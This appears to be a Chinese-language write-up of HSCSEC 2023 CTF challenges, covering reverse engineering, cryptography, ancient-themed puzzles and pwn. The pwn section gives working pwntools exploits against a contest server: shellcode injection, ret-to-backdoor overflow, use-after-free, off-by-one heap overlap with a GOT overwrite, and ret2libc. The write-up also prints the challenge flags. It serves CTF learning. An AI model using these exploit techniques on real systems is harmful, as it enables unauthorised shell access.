[HSCSEC 2023] rev,pwn,crypto,Ancient-MISC部分

news/2024/5/19 21:36:07 标签: CTF

比赛后有讲解,没赶上,前20比赛完1小时提交WP,谁会大半夜的起来写WP。

总的感觉pwn,crypto过于简单,rev有2个难的不会,其它不是我的方向都感觉过于难,一个都没作。

rev

DECOMPILEONEOONE

入门题,一个简单的运算

  v6[0] = 0x5C797E8971697066LL;
  v6[1] = 0x8D83497D7F6F7A3DLL;
  v6[2] = 0x949DA8758277A9A5LL;
  v7 = 0xB7954D7C;
  *(_QWORD *)s = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = 0LL;
  v13 = 0LL;
  v14 = 0LL;
  v15 = 0LL;
  v16 = 0LL;
  v17 = 0LL;
  v18 = 0LL;
  v19 = 0LL;
  v20 = 0;
  puts("give me your flag:");
  __isoc99_scanf("%s", s);
  if ( strlen(s) == 28 )
  {
    for ( i = 0; i <= 27; ++i )
    {
      s[i] += 3 * i + 1;
      s[i] ^= (_BYTE)i + 1;
      if ( (i & 1) != 0 )
        v4 = s[i] - i - 1;
      else
        v4 = s[i] - i;
      s[i] = v4;
      if ( s[i] != *((_BYTE *)v6 + i) )
      {
        puts("that's a fake flag!\n");
        return 0;
      }
    }
    puts("congratulations!");
    return 0;
  }

换成python

from pwn import p64

v6 = p64(0x5C797E8971697066) + p64(0x8D83497D7F6F7A3D) + p64(0x949DA8758277A9A5) + p64(0xB7954D7C)

for i in range(28):
    for s in range(0x20,0x7f):
        v = s
        v+=3*i+1
        v^= i+1
        v-=i + (i&1) 
        if v == v6[i]:
            print(chr(s), end='')

#flag{reV3rSe_1s_sucH_hanD1e}

Whack-a-mole

这个有些难,到最后也没找到运算的逻辑。

先运行程序,是个windows窗口,里边有flag估计是点上就输出。但是点不上。

这是个啥也的程序不清楚,首先先找到入口。WinMain调用窗口执行pfnSubclass

int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  unsigned int v4; // eax
  WNDCLASSW WndClass; // [esp+10h] [ebp-48h] BYREF
  struct tagMSG Msg; // [esp+38h] [ebp-20h] BYREF

  v4 = time64(0);
  srand(v4);
  WndClass.style = 0;
  WndClass.hIcon = 0;
  *(_QWORD *)&WndClass.cbClsExtra = 0i64;
  WndClass.lpszMenuName = 0;
  WndClass.lpszClassName = L"revme";
  WndClass.hInstance = hInstance;
  WndClass.hbrBackground = GetSysColorBrush(15);
  WndClass.lpfnWndProc = sub_401200;
  WndClass.hCursor = LoadCursorW(0, (LPCWSTR)0x7F00);
  RegisterClassW(&WndClass);
  CreateWindowExW(0, WndClass.lpszClassName, L"revme", 0x10CF0000u, 150, 150, 400, 300, 0, 0, hInstance, 0);
  SetWindowSubclass(hWnd, pfnSubclass, 0x190u, 0);
  while ( GetMessageW(&Msg, 0, 0, 0) )
  {
    TranslateMessage(&Msg);
    DispatchMessageW(&Msg);
  }
  return Msg.wParam;
}

在pfnSubclass里有个判断0x200,这里是按钮跳的控制。

RESULT __stdcall pfnSubclass(
        HWND hWnd,
        UINT uMsg,
        WPARAM wParam,
        LPARAM lParam,
        UINT_PTR uIdSubclass,
        DWORD_PTR dwRefData)
{
  int v6; // edi
  int v7; // eax

  if ( uMsg == 512 )
  {
    v6 = rand() % 150 + 50;
    v7 = rand();
    SetWindowPos(::hWnd, 0, v6, v7 % 150 + 50, 80, 25, 0);
  }
  return DefSubclassProc(hWnd, uMsg, wParam, lParam);
}

把这里的判断改掉让他不跳,点中后报错

"Oops,no flag...plz look carefully:("

拿到这个报错找到处理逻辑

LRESULT __stdcall sub_401200(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
  HWND v4; // ebx
  LPARAM v5; // edi
  _DWORD *v6; // ebx
  char *v7; // ecx
  char *v8; // edi
  int v9; // eax
  _BYTE *v10; // esi
  int v11; // ecx
  _BYTE *v12; // ecx
  int v13; // edx
  _DWORD *v14; // ecx
  int v15; // ebx
  int v16; // edx
  char v17; // al
  bool v18; // zf
  char *v19; // eax
  _DWORD *v20; // edi
  char *v21; // ebx
  int v22; // edx
  int v23; // esi
  int v24; // ecx
  char *v25; // esi
  int v26; // edi
  char *v27; // esi
  FILE *v28; // eax
  FILE *v29; // edi
  LONG WindowLongW; // eax
  int v32; // [esp+Ch] [ebp-10h]
  int v33; // [esp+Ch] [ebp-10h]
  char *v34; // [esp+10h] [ebp-Ch]
  char *v35; // [esp+14h] [ebp-8h]
  const char *v36; // [esp+18h] [ebp-4h]

  v4 = hWnd;
  v5 = lParam;
  if ( Msg == 1 )
  {
    ::hWnd = CreateWindowExW(0, L"Button", L"flag", 0x50000000u, 85, 150, 80, 25, hWnd, (HMENU)3, 0, 0);
    CreateWindowExW(0, L"Button", L"give up", 0x50000000u, 185, 150, 80, 25, hWnd, (HMENU)2, 0, 0);
    CreateWindowExW(0, L"Static", (LPCWSTR)"t", 0x50000000u, 85, 100, 300, 20, hWnd, (HMENU)1, 0, 0);
    WindowLongW = GetWindowLongW(hWnd, -16);
    SetWindowLongW(hWnd, -16, WindowLongW & 0xFFFEFFFF);
    return DefWindowProcW(v4, Msg, wParam, v5);
  }
  if ( Msg == 2 )
    goto LABEL_23;
  if ( Msg != 273 )
    return DefWindowProcW(v4, Msg, wParam, v5);
  if ( (unsigned __int16)wParam == 2 )
  {
LABEL_23:
    PostQuitMessage(0);
    return DefWindowProcW(v4, Msg, wParam, v5);
  }
  if ( (unsigned __int16)wParam == 3 )
  {
    if ( lParam == 3301 )
    {
      v6 = &unk_405390;
      v36 = "7dnaicms7skf0ws2t";
      v7 = "7skf0ws2t";
      v34 = (char *)&unk_405390;
      v35 = "7skf0ws2t";
      v8 = byte_403170;
      v32 = 9;
      do
      {
        v9 = *(_DWORD *)v7;
        v10 = v6;
        v6[1] = *((_DWORD *)v7 + 1);
        v11 = 8;
        *v6 = v9;
        do
        {
          *v10 = byte_403170[(unsigned __int8)*v10];
          ++v10;
          --v11;
        }
        while ( v11 );
        sub_401110(v6);
        v12 = v6;
        v13 = 8;
        do
        {
          *v12++ ^= *v8++;
          --v13;
        }
        while ( v13 );
        v14 = v6;
        v15 = v36 - (const char *)v6;
        v16 = 8;
        do
        {
          v17 = *((_BYTE *)v14 + v15);
          v14 = (_DWORD *)((char *)v14 + 1);
          *((_BYTE *)v14 - 1) ^= v17;
          --v16;
        }
        while ( v16 );
        v18 = v32-- == 1;
        v7 = v34;
        v19 = v35;
        v35 = v34;
        v6 = v10;
        v36 = v19;
        v34 = v10;
      }
      while ( !v18 );
      v20 = &unk_405390;
      v33 = 4;
      v21 = (char *)&unk_4053D0;
      do
      {
        v18 = v33-- == 1;
        v20 += 2;
        v22 = *(v20 - 2);
        v21 -= 8;
        v23 = *(v20 - 1);
        v24 = *((_DWORD *)v21 + 3);
        *(v20 - 2) = *((_DWORD *)v21 + 2);
        *(v20 - 1) = v24;
        *((_DWORD *)v21 + 2) = v22;
        *((_DWORD *)v21 + 3) = v23;
      }
      while ( !v18 );
      v25 = (char *)&unk_405398;
      v26 = 7;
      do
      {
        sub_401110(v25);
        v25 += 8;
        --v26;
      }
      while ( v26 );
      sub_401050(&Source);
      sub_401050(&unk_405020);
      v27 = (char *)malloc(0x10u);
      strncpy(v27, &Source, 0x10u);
      MessageBoxW(hWnd, L"flag already saved to aaa.txt", L"GOOD JOB!!", 0);
      v28 = fopen("aaa.txt", L"w");
      v29 = v28;
      if ( !v28 )
      {
        MessageBoxW(hWnd, L"open file error", L"Error", 0);
        free(v27);
        exit(-1);
      }
      fwrite(v27, 1u, 0x10u, v28);
      fclose(v29);
      free(v27);
      v4 = hWnd;
      v5 = 3301;
    }
    else
    {
      MessageBoxW(hWnd, L"Oops,no flag...plz look carefully:(", L"Error", 0);
    }
  }
  return DefWindowProcW(v4, Msg, wParam, v5);
}

这里边有两个判断

第1个是49行的msg !=273 退出

第2个是59行的lParam == 3301 进入写flag

所以在这里patch一下程序,这里的200改为111

.text:004014C3 81 7D 0C 00 02 00 00          cmp     [ebp+uMsg], 200h

这里 74 (jz)改为75 (jnz) 让if反转

.text:0040124D 74 18                         jz      short loc_401267

然后运行程序会写flag.txt文件,不过这题有点特殊其它的都是用HSCSEC壳,这个用flag

w1n32_aPi_iS_FUn
flag{w1n32_aPi_iS_FUn}

Base secrets

估计又是C++啥的程序写的,变量巨长,视觉上增加难度。

void __noreturn base64::main::h8d09d41539d521ef()
{
  int v0; // eax
  _str v1; // rax
  core::result::Result<usize,std::io::error::Error> v2; // [esp+0h] [ebp-D0h]
  ___str_ v3; // [esp+4h] [ebp-CCh]
  ___str_ v4; // [esp+4h] [ebp-CCh]
  ___str_ v5; // [esp+4h] [ebp-CCh]
  __core::fmt::ArgumentV1_ v6; // [esp+Ch] [ebp-C4h]
  __core::fmt::ArgumentV1_ v7; // [esp+Ch] [ebp-C4h]
  __core::fmt::ArgumentV1_ v8; // [esp+Ch] [ebp-C4h]
  core::fmt::Arguments v9; // [esp+3Ch] [ebp-94h] BYREF
  __core::fmt::ArgumentV1_ args; // [esp+54h] [ebp-7Ch] BYREF
  alloc::string::String inputstr; // [esp+5Ch] [ebp-74h] BYREF
  _str secret; // [esp+68h] [ebp-68h] BYREF
  char v13; // [esp+70h] [ebp-60h] BYREF
  int v14; // [esp+78h] [ebp-58h]
  alloc::string::String tstr; // [esp+7Ch] [ebp-54h] BYREF
  core::fmt::Arguments v16; // [esp+88h] [ebp-48h] BYREF
  core::fmt::ArgumentV1 v17; // [esp+A0h] [ebp-30h] BYREF
  core::fmt::Arguments v18; // [esp+A8h] [ebp-28h] BYREF
  core::fmt::ArgumentV1 v19; // [esp+C0h] [ebp-10h] BYREF

  args = (__core::fmt::ArgumentV1_)core::fmt::ArgumentV1::new_display::h1ad73d91458110e6((_str *)&x);
  v3.data_ptr = (_str *)&pieces;
  v3.length = 2;
  v6.data_ptr = (core::fmt::ArgumentV1 *)&args;
  v6.length = 1;
  core::fmt::Arguments::new_v1::h798f53dc69339845(&v9, v3, v6);
  std::io::stdio::_print::hf063fbe3e71516fe();
  alloc::string::String::new::h007ebff4f83ba4cc(&inputstr);
  secret.data_ptr = (u8 *)"hexZh3tyVXM3X2AwX35yM+IxRU1nkz5nmWdzhXdF7Qo= 1K";// base64的密文44字节
  secret.length = 44;
  std::io::stdio::stdin::h732159ffb928152a();
  v14 = v0;
  std::io::stdio::Stdin::read_line::h5c0cf1c7e8922086();
  *(_DWORD *)v2.gap0 = &v13;
  *(_DWORD *)&v2.gap0[4] = 4928728;
  core::result::Result$LT$T$C$E$GT$::unwrap::h5a9311bcc8369470(v2);
  v1 = _$LT$alloc..string..String$u20$as$u20$core..ops..deref..Deref$GT$::deref::h5b5b76767b35bbdc(&inputstr);
  base64::base64_encode::h366e735ee236a687(&tstr, v1);// base64编码
  if ( !_$LT$alloc..string..String$u20$as$u20$core..cmp..PartialEq$LT$$RF$str$GT$$GT$::eq::h68fb5c598021c6a9(
          &tstr,
          &secret) )
  {
    v19 = core::fmt::ArgumentV1::new_display::h1ad73d91458110e6((_str *)&off_4B3540);
    v8.data_ptr = &v19;
    v8.length = 1;
    v5.length = 2;
    v5.data_ptr = (_str *)&pieces;
    core::fmt::Arguments::new_v1::h798f53dc69339845(&v18, v5, v8);
    std::io::stdio::_print::hf063fbe3e71516fe();
    std::process::exit::h86e1d779ebfe0c3e();
  }
  v17 = core::fmt::ArgumentV1::new_display::h1ad73d91458110e6((_str *)&off_4B350C);
  v7.data_ptr = &v17;
  v7.length = 1;
  v4.length = 2;
  v4.data_ptr = (_str *)&pieces;
  core::fmt::Arguments::new_v1::h798f53dc69339845(&v16, v4, v7);
  std::io::stdio::_print::hf063fbe3e71516fe();
  std::process::exit::h86e1d779ebfe0c3e();
}

主程序里看到两个东西:

secret.data_ptr = (u8 *)"hexZh3tyVXM3X2AwX35yM+IxRU1nkz5nmWdzhXdF7Qo= 1K";

这个应该是密文

base64::base64_encode::h366e735ee236a687(&tstr, v1);// base64编码

这个写着是base64估计就大概是base64变表,进到里边发现几个查表语句

memcpy(v37, &::self, sizeof(v37));          // &::self 码表

然后点到::self看下码表,果然是变表。

code    = '456789+-IJKLMNOPQRSTUVWXghijklmnYZabcdefopqrstuvwxyz0123ABCDEFGH='
b64code = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
c = "hexZh3tyVXM3X2AwX35yM+IxRU1nkz5nmWdzhXdF7Qo=" # ' 1K'
from base64 import *

m = ''.join(b64code[code.index(v)] for v in c)
print(b64decode(m))
#flag{rUs7_n0_pr0b1EM_s0_yisey}

后边两个都无从下手,等官方的WP,官方说有。都一天了,估计还在写。

PWN

EZPWN

入门题,main调用了hacker,在hacker里调用mprotect将内存修改为可写可执行。然后有个写溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  hacker();
  return 0;
}
__int64 hacker()
{
  char buf[256]; // [rsp+0h] [rbp-110h] BYREF
  void *addr; // [rsp+100h] [rbp-10h]
  int v3; // [rsp+10Ch] [rbp-4h]

  v3 = getpagesize();
  addr = (void *)((unsigned __int64)buf2 & 0xFFFFFFFFFFFFF000LL);
  mprotect((void *)((unsigned __int64)buf2 & 0xFFFFFFFFFFFFF000LL), v3, 7);
  puts("input:");
  read(0, buf, 0x200uLL);
  strncpy(buf2, buf, 0x64uLL);
  printf("bye bye ~");
  return 0LL;
}

先把shellcode放在前边,后边利用溢出作个跳转。

from pwn import *

p = remote('43.143.254.94', 10176)
#p = process('EZPWN')

context(arch='amd64', log_level='debug')

pay = asm(shellcraft.amd64.linux.sh()).ljust(0x110, b'\x90')+ flat(0x404800, 0x404080) 

#p.sendlineafter(b"input:", pay)
p.sendline(pay)

p.interactive()

#HSCSEC{71d13c5a-5102-4944-aa5c-7e6f23c264fd}

Morris II

有菜单但不是菜单题,程序很长长长长。硬着头皮看。

int __cdecl select_main()
{
  int iselect; // [rsp+Ch] [rbp-4h] BYREF

  puts(a0GoOut);
  printf(aChooseAnAction);
  __isoc99_scanf(&unk_402103, &iselect);        // %d
  while ( 1 )
  {
    switch ( iselect )
    {
      case 0:
        find_enemies();                         // confirm_input();  有溢出,溢出到后门
        break;
      case 1:
        dined();
        break;
      case 2:
        shop();                                 // shop
        break;
      case 3:
        work();                                 // 随机-degree +coin
        break;
      case 4:
        attribute();                            // 显示
        break;
      default:
        continue;
    }
  }
}
void __cdecl fight_system()
{
  unsigned int v0; // eax
  int select; // [rsp+1Ch] [rbp-14h] BYREF
  int Player_fight; // [rsp+20h] [rbp-10h]
  int s; // [rsp+24h] [rbp-Ch]
  int w; // [rsp+28h] [rbp-8h]
  int Enemies_blood; // [rsp+2Ch] [rbp-4h]

  v0 = time(0LL);
  srand(v0);
  w = rand() % 3;
  s = rand() % 10;
  Player_fight = player_fight;
  Enemies_blood = enemies_blood[s];
  puts("\n******************************entered battle mode***************************************");
  printf(format, (unsigned int)player_blood);
  while ( player_blood > 0 && Enemies_blood > 0 && player_degree_of_hunger > 30 )
  {
    confirm_input();                            // 有溢出
......
}
int __cdecl confirm_input()
{
  char hero_name[16]; // [rsp+0h] [rbp-10h] BYREF

  puts("\ntype yor hero's name!:");
  read(0, hero_name, 0x64uLL);
  puts("confirmed.");
  return 0;
}
int __cdecl dontlookatme()
{
  system("/bin/sh");
  return 0;
}

发现第1个菜单处有溢出,而且有后门函数,这就简单了。其实有溢出,有没有后门都好办。

from pwn import *

#p = process('Morris_II')
p = remote('43.143.254.94', 10365)

context(arch='amd64', log_level= 'debug')

p.sendlineafter(b'choose an action from below\xef\xbc\x9a', b'0')
#ret + dontlookatme()
p.sendlineafter(b"type yor hero's name!:\n", b'\x00'*0x18 + flat(0x401d04, 0x401236))

p.interactive()
#HSCSEC{48cc6864-8ab7-48a5-9075-92b09a69bb3e}

EasyHeap

回到菜单题了。很标准的菜单,在free没有清指针有UAF,并且有后门。

void __cdecl __noreturn main(int a1)
{
  int v1; // [esp+0h] [ebp-14h]
  char s[4]; // [esp+4h] [ebp-10h] BYREF
  unsigned int v3; // [esp+8h] [ebp-Ch]
  int *v4; // [esp+Ch] [ebp-8h]

  v4 = &a1;
  v3 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      sub_80495E8();
      memset(s, 0, sizeof(s));
      read(0, s, 4u);
      v1 = atoi(s);
      if ( v1 != 1 )
        break;
      m1_add();
    }
    if ( v1 == 2 )
    {
      m2_free();                                // UAF
    }
    else if ( v1 == 3 )
    {
      m3_show();
    }
    else
    {
      if ( v1 == 4 )
        exit(-1);
      puts("Invalid option.");
    }
  }
}
unsigned int m2_free()
{
  unsigned int result; // eax
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Note id: ");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= dword_804C060 )
  {
    puts("Invalid id!");
    _exit(-1);
  }
  if ( dword_804C04C[v1] )
  {
    free(*(void **)(dword_804C04C[v1] + 4));
    free((void *)dword_804C04C[v1]);  //没有清指针
    puts("Deleted!");
  }
  result = v3 - __readgsdword(0x14u);
  if ( result )
    sub_8049790();
  return result;
}

块包含管理块和数据块,管理块有调用puts的函数指针和指向数据块的指针。

先建两个比8大的块,两个管理块是8,free后再建大小为8的块,这样数据块会使用0块的管理块,达到写管理块指针的目的。由于这里有后门,直接写后门就行。不然还有一点小麻烦,因为指针是自己还不是+4,所以这个还需要绕过。

from pwn import *

#p = process('./easyHeap')
p = remote('43.143.254.94', 10044)

context(arch='i386', log_level='debug')
def add(size,msg):
    p.sendlineafter(b"Input Option: ", b'1')
    p.sendlineafter(b"Size: ", str(size).encode())
    p.sendafter(b"Content: ", msg)

def free(idx):
    p.sendlineafter(b"Input Option: ", b'2')
    p.sendlineafter(b"Note id: ", str(idx).encode())
    
def show(idx):
    p.sendlineafter(b"Input Option: ", b'3')
    p.sendlineafter(b"Note id: ", str(idx).encode())

add(0x10,b'A') #0
add(0x20,b'A') #1
free(0)
free(1)
add(0x8, flat(0x80495bd)) #到后门 system('cat /flag')

show(0)
p.interactive()

Dead Star Weapon Management System

这名字为什么起了这么长。

第2个菜单题,漏洞在edit这里修改的长度多了1

unsigned __int64 m3_change()
{
  unsigned int v0; // eax
  signed int v1; // ebx
  char buf[4]; // [rsp+4h] [rbp-14h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-10h]

  v4 = __readfsqword(0x28u);
  puts("weapon index:");
  read(0, buf, 4uLL);
  v0 = strtol(buf, 0LL, 10);
  if ( v0 > 4 )
  {
    puts("[!]index malform.");
    _exit(0);
  }
  v1 = v0;
  if ( *(&ptr + (int)v0) )
  {
    puts("your additional info:");
    read_n(*((void **)*(&ptr + v1) + 1), *(_QWORD *)*(&ptr + v1) + 1LL);// 参2长度,溢出
    puts("weapon changed.");
  }
  else
  {
    puts("[!]weapon not found.!");
  }
  return __readfsqword(0x28u) ^ v4;
}

块结构跟上一题类似,管理块有size和ptr指向数据块

在edit里会允许多写1字节。通过这个溢出可以修改下一块的长度,改大,当下一块free后会再建会形成重叠,达到修改指针目的。

先造一个这样的结构,

先建0x18的0和1,将1free在得到两个20的fastbin,再建0x28的1,2让1,2的头连在一起,这里利用漏洞修改head1的大小,然后将1释放,释放的块包含块2的头,再建1,大小为0x38的块就能用后部覆盖2块的头。

将2的头ptr改为指向got表,show(2)得到libc地址,再将got.free改为指向system

from pwn import *

#p = process('./deathstar_admin')
p = remote('43.143.254.94', 10689)

elf = ELF('./deathstar_admin')
libc = ELF('/home/kali/glibc/libs/2.23-0ubuntu10-amd64/libc6_2.23-0ubuntu10_amd64.so')

context(arch='amd64', log_level='debug')

def add(size,msg):
    p.sendlineafter(b"[?]choose an action:\n" ,b'1')
    p.sendlineafter(b"weapon length:\n", str(size).encode())
    p.sendafter(b"weapon detail:\n", msg)

def show(idx):
    p.sendlineafter(b"[?]choose an action:\n" ,b'2')
    p.sendlineafter(b"weapon index:\n", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(b"[?]choose an action:\n" ,b'3')
    p.sendlineafter(b"weapon index:\n", str(idx).encode())
    p.sendafter(b"your additional info:\n", msg)     #off_by_one

def free(idx):
    p.sendlineafter(b"[?]choose an action:\n" ,b'4')
    p.sendlineafter(b"weapon index:\n", str(idx).encode())

add(0x18,b'A')
add(0x18,b'A') #1
free(1)
add(0x28,b'B') #1
add(0x28,b'C') #2 save
edit(0, b'A'*(0x18+1)) #size改为 0x41
free(1)
add(0x38, b'/bin/sh\x00'+b'A'*0x10 + flat(0x21, 8, elf.got['free'])) #1head+2head
show(2)
p.recvuntil(b'info:')

libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['free']
print('libc:', hex(libc.address))

edit(2, p64(libc.sym['system']))
free(1)
p.interactive()
#HSCSEC{4bf9597e-e58b-4485-99f9-71d05c0f5d8a}

Safe Program

最后一个pwn,感觉这题个头太小。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 v4[9]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v5; // [rsp+48h] [rbp-8h]
  char v6; // [rsp+4Ah] [rbp-6h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  memset(v4, 0, sizeof(v4));
  v5 = 0;
  v6 = 0;
  puts("i am a simple repeater with no way to exploit.\n");
  puts("you can talk to me now:\n");
  sub_4011D6(v4);
  return 0LL;
}
ssize_t __fastcall sub_4011D6(void *a1)
{
  char buf[127]; // [rsp+10h] [rbp-80h] BYREF
  char v3; // [rsp+8Fh] [rbp-1h]

  sleep(3u);
  v3 = 0;
  setbuf(stdin, buf);
  memcpy(a1, buf, v3);
  return read(0, buf, 0x16DuLL);
}

就是一个溢出,别的什么都没有。

from pwn import *

#p = process('./Safe_Program')
p = remote('43.143.254.94', 10972)

context(arch='amd64', log_level= 'debug')
elf = ELF('./Safe_Program')
libc = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')

pop_rdi = 0x0000000000401393 # pop rdi ; ret
bss = 0x404800

sleep(3)
p.sendafter(b"you can talk to me now:\n\n", flat(b'\x00'*0x80,bss, pop_rdi, elf.got['puts'], elf.plt['puts'], 0x4011d6))

libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00'))  - libc.sym['puts']

p.send(flat(b'\x00'*0x80,bss, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system'], 0x4011d6))

p.interactive()

Ancient-MISC

两个MISC其实都不会,赛后看了群里说的WP,感觉有点意思,在这里存一下。

Deduced gossip

第一题是八卦,但群里说是九宫八卦,脑子没转到那。这是洛书九宫与八卦的对应图

这样把给的东西转码就是9进制(1转为0,... 9转成8)

原题

☲☵ ☷☵☳ ☶空 ☷☵☳ ☶☱ ☶空 ☷空☱ ☶空 ☷☳☰ ☷☳☱ ☷☴☳ ☷☳☳ ☷☴☶ ☷☳☳ ☷☷☰ ☷☳空 ☰☴ ☷☴☶ ☷☴☶ ☷☴空 ☷空☲

转码程序,刚开始不知道对应关系,用flag头猜的,最后乾和巽猜一下也行。

def k9(n):
    k=''
    while n>0:
        k=str(n%9)+k 
        n//=9
    return k 

for v in b'HSCSEC{}':
    print(str(k9(v)), end=',')
#80,102,74,102,76,74,146,148,

a = "80,102,74,102,76,74,146,74,125,126,132,122,137,122,115,124,53,137,137,134,148"
print(''.join([chr(int(v,9)) for v in a.split(',')]))
#HSCSEC{Chinese_g0ssp}
#HSCSEC{Chinese_g0ssip} 提交加i

Watch the sky at night

第二个以为是28进制,怎么也没转出来。后来WP说是4进制,恍然大悟。东西南北四方七宿各为一个数字就成了4进制,4个正好是一个字符。

斗木獬角木蛟奎木狼亢金龙 牛金牛女土蝠氐土貉井木犴
虚日鼠房日兔心月狐鬼金羊 危月燕室火猪尾火虎柳土獐
壁水貐箕水豹斗木獬牛金牛 女土蝠角木蛟亢金龙星日马
虚日鼠张月鹿娄金狗翼火蛇 危月燕氐土貉房日兔轸水蚓
室火猪心月狐井木犴胃土雉 壁水貐斗木獬鬼金羊柳土獐
牛金牛尾火虎箕水豹女土蝠 虚日鼠昴日鸡柳土獐毕月乌
危月燕觜火猴角木蛟星日马 室火猪参水猿奎木狼壁水貐
斗木獬娄金狗牛金牛女土蝠 虚日鼠胃土雉张月鹿昴日鸡
危月燕翼火蛇室火猪亢金龙 壁水貐斗木獬轸水蚓井木犴
牛金牛氐土貉房日兔女土蝠 虚日鼠危月燕心月狐尾火虎
室火猪鬼金羊柳土獐壁水貐

今天这是咋了,写一点菜单就没了。发布好几次。4个符号对应哪个数字再爆破。通过头也可以定。

a = '''
斗木獬角木蛟奎木狼亢金龙 牛金牛女土蝠氐土貉井木犴
虚日鼠房日兔心月狐鬼金羊 危月燕室火猪尾火虎柳土獐
壁水貐箕水豹斗木獬牛金牛 女土蝠角木蛟亢金龙星日马
虚日鼠张月鹿娄金狗翼火蛇 危月燕氐土貉房日兔轸水蚓
室火猪心月狐井木犴胃土雉 壁水貐斗木獬鬼金羊柳土獐
牛金牛尾火虎箕水豹女土蝠 虚日鼠昴日鸡柳土獐毕月乌
危月燕觜火猴角木蛟星日马 室火猪参水猿奎木狼壁水貐
斗木獬娄金狗牛金牛女土蝠 虚日鼠胃土雉张月鹿昴日鸡
危月燕翼火蛇室火猪亢金龙 壁水貐斗木獬轸水蚓井木犴
牛金牛氐土貉房日兔女土蝠 虚日鼠危月燕心月狐尾火虎
室火猪鬼金羊柳土獐壁水貐'''
#应为 壁水獝
dic = {
'E':['角木蛟','亢金龙','氐土貉','房日兔','心月狐','尾火虎','箕水豹'],
'S':['井木犴','鬼金羊','柳土獐','星日马','张月鹿','翼火蛇','轸水蚓'],
'W':['奎木狼','娄金狗','胃土雉','昴日鸡','毕月乌','觜火猴','参水猿'],
'N':['斗木獬','牛金牛','女土蝠','虚日鼠','危月燕','室火猪','壁水貐']}

f = ''
a = a.replace('\r\n','').replace(' ','').replace('\n','')
for i in range(0,len(a),3):
    v = a[i:i+3]
    for j in dic:
        if v in dic[j]:
            f+=j

from itertools import permutations
num = '0123'
for v in permutations(num,4):
    tmp = f.replace('N',v[0]).replace('S',v[1]).replace('W',v[2]).replace('E',v[3])
    flag = ''.join([chr(int(tmp[m:m+4], 4)) for m in range(0,len(tmp),4)])
    if 'HSCSEC{' in flag:
        print(flag)
#HSCSEC{CN_Ancient_AP} 

Crypto

EZRSA

这个就都比较简单了。

from flag import m

p = getPrime(1024)
q = getPrime(1024)
n = p * q
print('n =',n)
e = 0x10001
M = m * e * 1 * 2022 * p
c = pow(M,e,n)
print('c =',c)

显然M有因子p,n也有 c = M^e - kn 所以c 也有,gcd(c,n)就能得到p,由于m一般很小m*2022*e*p不会大于n,所以后边就直接除。

from Crypto.Util.number import *
from math import gcd
import gmpy2

e = 0x10001
n = 16266043783454053154037197753138388613864200794483663334493856481522764684650995230938142916968470804276539967429581472897698022852787399956166067156691430593337430691851251036378709799238876668312530223697905925939542713491015517460139150765778057817475571231361809654951289718071760502692960235551663466242938669673675870151921605230499603814070711617511206013584605131901906195136038060653121164252894949526861390984185085201067988694831398388037080993820517447099157891181179389949333832439004857436617834100885739716577641892686620423154860716308518151628754780994043553863224363539879909831811888663875989774849
c = 12716190507848578560760116589677996073721225715245215495257947887969923319693501568134141757778665747980229898129090929698368855086594836111461700857934476682700625486249555753323344759513528101651108919161794915999809784961533946922607642974500946026677116418317599095703217004064379100607278317877894742815660315660254853364776654303066021672567442581774299847661025422994141801987588151758971034155714424052693627277202951522779716696303237915400201362585413354036973117149974017434406560929491956957193491445847385625481870256240443170803497196783872213746269940877814806857222191433079944785910813364137603874411
p = gcd(c,n)
q = n//p
d = gmpy2.invert(e, (p-1)*(q-1))

M = pow(c,d,n)

m = M//2022//e//p

flag = long_to_bytes(m)
print(flag)   
#flag{3e5e2789a93a80615cc35edbff397c05}
#HSCSEC{3e5e2789a93a80615cc35edbff397c05}    

Operator

这题没弄清楚出题是什么意思,就是个除法,直接除

#!/bin/python3
from Crypto.Util.number import bytes_to_long, getPrime

FLAG = "*******************MASK****************"

# print(FLAG)
number1 = getPrime(512)
number2 = getPrime(1024)
print(number1)
result = FLAG * number1 % number2
print(result)
Output:
n1 = 11488359375916816818731868252559119400126174593041608170883818546254791846479664455120194350355087017477744828351806157930199157462913063513512421460678471
res = 1890846045246997191702622225497063073251667816125412875121879991742654650976309481716690792328873189601779812108551290078049710826355501933349874438201643986975141068179879506727213209273645848165732801667704040761771

bytes.fromhex(hex(res//n1)[2:])
#flag{qMmZqWvmj70bBsCfmVLT}
#HSCSEC{qMmZqWvmj70bBsCfmVLT}

EZVC

感觉回到逆向了。明显都是逆向的内容。正好晚上打算睡觉的时候上的新题,直接弄个一血,然后睡个好觉。

import flag
alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
key = 'HSC'
assert flag.startswith('HSCSEC{')
flag_num_list = []
c = []
for item in flag:
    flag_num_list.append(alphabet.find(item) + 1)
key_num = alphabet.find(key) + 1   #0
for i in flag_num_list:
    m = (i + key_num) % 94 - 1
    if m == 0:
        c.append("□") #e2 96 a1   0x25a1
    c.append(alphabet[m-1:m])
print("c = {}".format(''.join(c)))
